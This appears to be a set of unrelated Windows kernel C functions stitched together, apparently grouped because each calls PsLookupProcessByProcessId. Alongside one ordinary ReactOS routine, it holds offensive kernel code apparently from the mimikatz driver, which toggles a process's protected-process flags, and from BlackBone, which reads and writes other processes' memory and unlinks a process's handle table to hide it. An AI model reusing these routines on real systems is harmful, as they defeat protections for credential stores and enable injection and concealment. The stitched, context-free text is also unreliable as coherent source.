/* API Call */ BOOL FASTCALL IntAllowSetForegroundWindow(DWORD dwProcessId) { PPROCESSINFO ppi, ppiCur; PEPROCESS Process = NULL; ppi = NULL; if (dwProcessId != ASFW_ANY) { if (!NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)dwProcessId, &Process))) { EngSetLastError(ERROR_INVALID_PARAMETER); return FALSE; } ppi = PsGetProcessWin32Process(Process); if (!ppi) { ObDereferenceObject(Process); return FALSE; } } ppiCur = PsGetCurrentProcessWin32Process(); if (!CanForceFG(ppiCur)) { if (Process) ObDereferenceObject(Process); EngSetLastError(ERROR_ACCESS_DENIED); return FALSE; } if (dwProcessId == ASFW_ANY) { // All processes will be enabled to set the foreground window. //ERR("ptiLastInput is CLEARED!!\n"); ptiLastInput = NULL; } else { // Rule #3, last input event in force. ERR("ptiLastInput is SET!!\n"); //ptiLastInput = ppi->ptiList; // See CORE-6384 & CORE-7030. ObDereferenceObject(Process); } return TRUE; }
NTSTATUS kkll_m_process_protect(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer) { NTSTATUS status; PEPROCESS pProcess = NULL; PKIWI_PROCESS_SIGNATURE_PROTECTION pSignatureProtect = NULL; PULONG pFlags2 = NULL; PMIMIDRV_PROCESS_PROTECT_INFORMATION pInfos = (PMIMIDRV_PROCESS_PROTECT_INFORMATION) bufferIn; if(KiwiOsIndex >= KiwiOsIndex_VISTA) { if(pInfos && (szBufferIn == sizeof(MIMIDRV_PROCESS_PROTECT_INFORMATION))) { status = PsLookupProcessByProcessId((HANDLE) pInfos->processId, &pProcess); if(NT_SUCCESS(status)) { if(KiwiOsIndex < KiwiOsIndex_8) { pFlags2 = (PULONG) (((ULONG_PTR) pProcess) + EPROCESS_OffSetTable[KiwiOsIndex][EprocessFlags2]); if(pInfos->SignatureProtection.SignatureLevel) *pFlags2 |= PROTECTED_PROCESS_MASK; else *pFlags2 &= ~PROTECTED_PROCESS_MASK; } else { pSignatureProtect = (PKIWI_PROCESS_SIGNATURE_PROTECTION) (((ULONG_PTR) pProcess) + EPROCESS_OffSetTable[KiwiOsIndex][SignatureProtect]); pSignatureProtect->SignatureLevel = pInfos->SignatureProtection.SignatureLevel; pSignatureProtect->SectionSignatureLevel = pInfos->SignatureProtection.SectionSignatureLevel; if(KiwiOsIndex > KiwiOsIndex_8) pSignatureProtect->Protection = pInfos->SignatureProtection.Protection; } ObDereferenceObject(pProcess); } } else status = STATUS_INVALID_PARAMETER; } else status = STATUS_NOT_SUPPORTED; return status; }
/// <summary> /// Read/write process memory /// </summary> /// <param name="pCopy">Request params</param> /// <returns>Status code</returns> NTSTATUS BBCopyMemory( IN PCOPY_MEMORY pCopy ) { NTSTATUS status = STATUS_SUCCESS; PEPROCESS pProcess = NULL, pSourceProc = NULL, pTargetProc = NULL; PVOID pSource = NULL, pTarget = NULL; status = PsLookupProcessByProcessId( (HANDLE)pCopy->pid, &pProcess ); if (NT_SUCCESS( status )) { SIZE_T bytes = 0; // Write if (pCopy->write != FALSE) { pSourceProc = PsGetCurrentProcess(); pTargetProc = pProcess; pSource = (PVOID)pCopy->localbuf; pTarget = (PVOID)pCopy->targetPtr; } // Read else { pSourceProc = pProcess; pTargetProc = PsGetCurrentProcess(); pSource = (PVOID)pCopy->targetPtr; pTarget = (PVOID)pCopy->localbuf; } status = MmCopyVirtualMemory( pSourceProc, pSource, pTargetProc, pTarget, pCopy->size, KernelMode, &bytes ); } else DPRINT( "BlackBone: %s: PsLookupProcessByProcessId failed with status 0x%X\n", __FUNCTION__, status ); if (pProcess) ObDereferenceObject( pProcess ); return status; }
/// <summary> /// Change handle granted access /// </summary> /// <param name="pAccess">Request params</param> /// <returns>Status code</returns> NTSTATUS BBUnlinkHandleTable( IN PUNLINK_HTABLE pUnlink ) { NTSTATUS status = STATUS_SUCCESS; PEPROCESS pProcess = NULL; // Validate dynamic offset if (dynData.ExRemoveTable == 0 || dynData.ObjTable == 0) { DPRINT( "BlackBone: %s: Invalid ExRemoveTable/ObjTable address\n", __FUNCTION__ ); return STATUS_INVALID_ADDRESS; } // Validate build if (dynData.correctBuild == FALSE) { DPRINT( "BlackBone: %s: Unsupported kernel build version\n", __FUNCTION__ ); return STATUS_INVALID_KERNEL_INFO_VERSION; } status = PsLookupProcessByProcessId( (HANDLE)pUnlink->pid, &pProcess ); if (NT_SUCCESS( status )) { PHANDLE_TABLE pTable = *(PHANDLE_TABLE*)((PUCHAR)pProcess + dynData.ObjTable); // Unlink process handle table fnExRemoveHandleTable ExRemoveHandleTable = (fnExRemoveHandleTable)((ULONG_PTR)GetKernelBase( NULL ) + dynData.ExRemoveTable); //DPRINT( "BlackBone: %s: ExRemoveHandleTable address 0x%p. Object Table offset: 0x%X\n", // __FUNCTION__, ExRemoveHandleTable, dynData.ObjTable ); ExRemoveHandleTable( pTable ); } else DPRINT( "BlackBone: %s: PsLookupProcessByProcessId failed with status 0x%X\n", __FUNCTION__, status ); if (pProcess) ObDereferenceObject( pProcess ); return status; }